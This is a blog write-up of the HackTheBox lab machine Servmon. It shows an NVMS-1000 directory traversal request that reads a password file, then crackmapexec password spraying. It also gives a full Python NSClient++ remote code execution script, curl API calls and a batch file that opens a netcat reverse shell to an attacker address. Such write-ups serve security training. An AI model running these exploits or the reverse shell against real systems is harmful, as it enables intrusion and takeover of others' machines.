HackTheBox - Servmon

Summary

Servmon,a Windows box created by HackTheBox user dmw0ng.Initially scan show us that ftp is running with anonymous login.Checking those we find some hints for a file Passwords.txt on Nathan Desktop.Checking Web we find it is running NVMS-1000 checking searchsploit we see it have Directory Traversal using which we can read the passwords.txt file.
Using crackmapexec we can try all the passwords and against Nathan and Nadine and we get a valid credential for Nadine. Using that we can ssh to the box and we have user on this box.Privilege Escalation on this was fun we need to exploit NSClient++ RCE to get a nt authority/ system shell.

Initial Enumeration

nmap
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
# Nmap 7.80 scan initiated Sun Apr 12 00:36:25 2020 as: nmap -p- -oN nmap/all 10.10.10.184
Nmap scan report for 10.10.10.184
Host is up (0.16s latency).
Not shown: 65516 closed ports
PORT STATE SERVICE
21/tcp open ftp
22/tcp open ssh
80/tcp open http
135/tcp open msrpc
139/tcp open netbios-ssn
445/tcp open microsoft-ds
5040/tcp open unknown
5666/tcp open nrpe
6063/tcp open x11
6699/tcp open napster
7680/tcp open pando-pub
8443/tcp open https-alt
49664/tcp open unknown
49665/tcp open unknown
49666/tcp open unknown
49667/tcp open unknown
49668/tcp open unknown
49669/tcp open unknown
49670/tcp open unknown

# Nmap done at Sun Apr 12 00:48:46 2020 -- 1 IP address (1 host up) scanned in 741.08 seconds

Enumerating ftp we see it has anonymous login enabled so we can dump everything using wget.

we find two interesting files Nadine Directory contain

1
2
3
4
5
6
7
Nathan,

I left your Passwords.txt file on your Desktop. Please remove this once you have edited it yourself and place it back into the secure folder.

Regards

Nadine

so there is a Passwords file on the Desktop of Nathan

and in Nathan Directory we find

1
2
3
4
5
1) Change the password for NVMS - Complete
2) Lock down the NSClient Access - Complete
3) Upload the passwords
4) Remove public access to NVMS
5) Place the secret files in SharePoint

so we know that there is a NVMS running and based on 2nd point we know it will have only localhost access enabled.

Web

looking at the web page we see it is an NVMS 1000 running

Looking on exploitdb we find an exploit using that we can try to read Passwords.txt as

1
2
3
4
5
6
7
8
9
10
11
GET /../../../../../../../../../../../../../Users/Nathan/Desktop/Passwords.txt HTTP/1.1
Host: 10.10.10.184
User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:68.0) Gecko/20100101 Firefox/68.0
Accept: */*
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate
Referer: http://10.10.10.184/Pages/login.htm
X-Requested-With: XMLHttpRequest
Connection: close
Cookie: dataPort=6063
Cache-Control: max-age=0

and we can see the response contain the passwords list

1
2
3
4
5
6
7
1nsp3ctTh3Way2Mars!
Th3r34r3To0M4nyTrait0r5!
B3WithM30r4ga1n5tMe
L1k3B1gBut7s@W0rk
0nly7h3y0unGWi11F0l10w
IfH3s4b0Utg0t0H1sH0me
Gr4etN3w5w17hMySk1Pa5$

User

Using the above passwords i try to check if any of them work any of the usernames we know (Nathan or Nadine)

1
2
3
4
5
6
7
8
9
10
11
12
13
$ crackmapexec smb 10.10.10.184 -u UserList.txt -p Passwords.txt
SMB 10.10.10.184 445 SERVMON [*] Windows 10.0 Build 18362 x64 (name:SERVMON) (domain:SERVMON) (signing:False) (SMBv1:False)
SMB 10.10.10.184 445 SERVMON [-] SERVMON\Nathan:1nsp3ctTh3Way2Mars! STATUS_LOGON_FAILURE
SMB 10.10.10.184 445 SERVMON [-] SERVMON\Nathan:Th3r34r3To0M4nyTrait0r5! STATUS_LOGON_FAILURE
SMB 10.10.10.184 445 SERVMON [-] SERVMON\Nathan:B3WithM30r4ga1n5tMe STATUS_LOGON_FAILURE
SMB 10.10.10.184 445 SERVMON [-] SERVMON\Nathan:L1k3B1gBut7s@W0rk STATUS_LOGON_FAILURE
SMB 10.10.10.184 445 SERVMON [-] SERVMON\Nathan:0nly7h3y0unGWi11F0l10w STATUS_LOGON_FAILURE
SMB 10.10.10.184 445 SERVMON [-] SERVMON\Nathan:IfH3s4b0Utg0t0H1sH0me STATUS_LOGON_FAILURE
SMB 10.10.10.184 445 SERVMON [-] SERVMON\Nathan:Gr4etN3w5w17hMySk1Pa5$ STATUS_LOGON_FAILURE
SMB 10.10.10.184 445 SERVMON [-] SERVMON\Nadine:1nsp3ctTh3Way2Mars! STATUS_LOGON_FAILURE
SMB 10.10.10.184 445 SERVMON [-] SERVMON\Nadine:Th3r34r3To0M4nyTrait0r5! STATUS_LOGON_FAILURE
SMB 10.10.10.184 445 SERVMON [-] SERVMON\Nadine:B3WithM30r4ga1n5tMe STATUS_LOGON_FAILURE
SMB 10.10.10.184 445 SERVMON [+] SERVMON\Nadine:L1k3B1gBut7s@W0rk

we find a valid credential as Nadine:L1k3B1gBut7s@W0rk Using the we can ssh to the box and have user and we can read user.txt

Privilege Escalation

From the above notes from Nathan we know we can only access NSClient++ from localhost
i used ssh to port-forward

1
ssh -L 8443:127.0.0.1:8443 Nadine@10.10.10.184

and then we can access the nsclient and login

looking for exploit so following that I got the credential using

1
2
.\nscp.exe web -- password --display
Current password: ew2x6SsGTxjRwXOT

but the web site was super slow so i try to write a script to exploit to exploit it

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
import requests
import json
import time
import colorama
from colorama import Fore, Style
### Ignore SSLCertificate warning
from requests.packages.urllib3.exceptions import InsecureRequestWarning
requests.packages.urllib3.disable_warnings(InsecureRequestWarning)
# Change this
host = "127.0.0.1"
port = "8443"
password="ew2x6SsGTxjRwXOT"
### url
url = "https://"+host+":"+port
# Payload path
executable ="C:\\Temp\\f3v3r.bat"
uniqueKey= "asdasd"

### Login path
authpath="/auth/token?"
setting="/settings/query.json"
status="/settings/status"
exec="/console/exec"
### Create Script
### Get The List
# https://127.0.0.1:8443/settings/inventory?path=/&recursive=true&templates=true
def login(password):
path=url+authpath
passwordParam = {"password":password}
x = requests.get(path,params=passwordParam,verify=False)
result = x.json()
return result.get('auth token')

### Scheduler
# {"type":"SettingsRequestMessage","payload":[{"plugin_id":1234,"update":{"node":{"path":"/settings/scheduler/schedules/fe","key":"interval"},"value":{"string_data":"1m"}}}]}:

scriptPath = "/settings/external scripts/scripts/"
schedulePath = "/settings/scheduler/schedules/"

def sendPayload (token,path,key,value):
payload = {
"type": "SettingsRequestMessage",
"payload": [{
"plugin_id": 1234,
"update": {
"node": {
"path": path+uniqueKey,
"key": key
},
"value": {
"string_data": value
}
}
}]
}
path = url+setting
header={"TOKEN":token}
x = requests.post(path,data=json.dumps(payload),headers=header,verify=False)
return x.status_code

def saveConfiguration(token):
payload = {
"header": {
"version": 1
},
"type": "SettingsRequestMessage",
"payload": [{
"plugin_id": 1234,
"control": {
"command": "SAVE"
}
}]
}
path = url+setting
header={"TOKEN":token}
x = requests.post(path,data=json.dumps(payload),headers=header,verify=False)
return x.status_code

def execcommand(token):
path=url+exec
passwordParam = {"command":uniqueKey}
header={"TOKEN":token}
x = requests.get(path,headers=header,params=passwordParam,verify=False)
return x.status_code

def testconnection(token):
path=url+status
header={"TOKEN":token}
x = requests.get(path,headers=header,verify=False)
return x.status_code

def printMessage(boo,succ,fail):
if [boo]:
print(Fore.GREEN + succ)
else:
print(Fore.RED+fail)


print(Fore.BLUE +"Generating Token")
token = login(password)
print(Fore.BLUE +"Testing Connection")
while testconnection(token) != 200:
print(Fore.RED +"Connection Failed...")
print(Fore.BLUE +"Reconnecting...")
token = login(password)
print(Fore.GREEN +"Connection Established")
print(Fore.BLUE +"Inserting Script")
printMessage(sendPayload(token,scriptPath,"Command",executable) == 200,"Insterted Script","Unable to Insert Script")
print(Fore.BLUE +"Inserting Interval for Scheduler")
printMessage(sendPayload(token,schedulePath,"Interval","1m") == 200,"Insterted Interval for Scheduler","Unable to Insert Interval for Scheduler")
print(Fore.BLUE + "Updating Command for Scheduler")
printMessage(sendPayload(token,schedulePath,"Command",uniqueKey) == 200,"Updated Command for Scheduler","Unable to Update Command for Scheduler")
print(Fore.BLUE +"Saving Configuration")
printMessage(saveConfiguration(token) == 200,"Saved Conifiguration","Unable to Saved Conifiguration")
print(Fore.BLUE +"Waiting 60 seconds before triggering the payload")
time.sleep(60)
print(Fore.BLUE +"Generating Token Again")
token = login(password)
print(Fore.BLUE +"Executing Payload")
printMessage(execcommand(token) == 200, "Executed Command","Unable to Update Command")

print("Did you get Shell? If not please try again")

and create a bat file named f3v3r.bat as

1
2
@echo off
c:\Temp\nc.exe 10.10.X.X 443 -e cmd.exe

and also update nc.exe on the box and run a listener and execute the exploit
and we get a shell.

and we have pwned Servmon 💃

Extra

After doing this box i started looking on NSClient++ and saw it have APIs and saw that we can do the exploit much more easily using the APIs with just two curl requests as

one to add the script

1
2
### Add a Script
curl -s -k -u admin:ew2x6SsGTxjRwXOT -X PUT https://localhost:8443/api/v1/scripts/ext/scripts/f3v3r.bat --data-binary @f3v3r.bat

one to execute

1
2
3

### Execute a Query
curl -s -k -u admin:ew2x6SsGTxjRwXOT https://localhost:8443/api/v1/queries/f3v3r/commands/execute
Author: Shubham Kumar
Link: https://f3v3r.in/htb/machines/retired/servmon/
Copyright Notice: All articles in this blog are licensed under CC BY-NC-SA 4.0 unless stating additionally.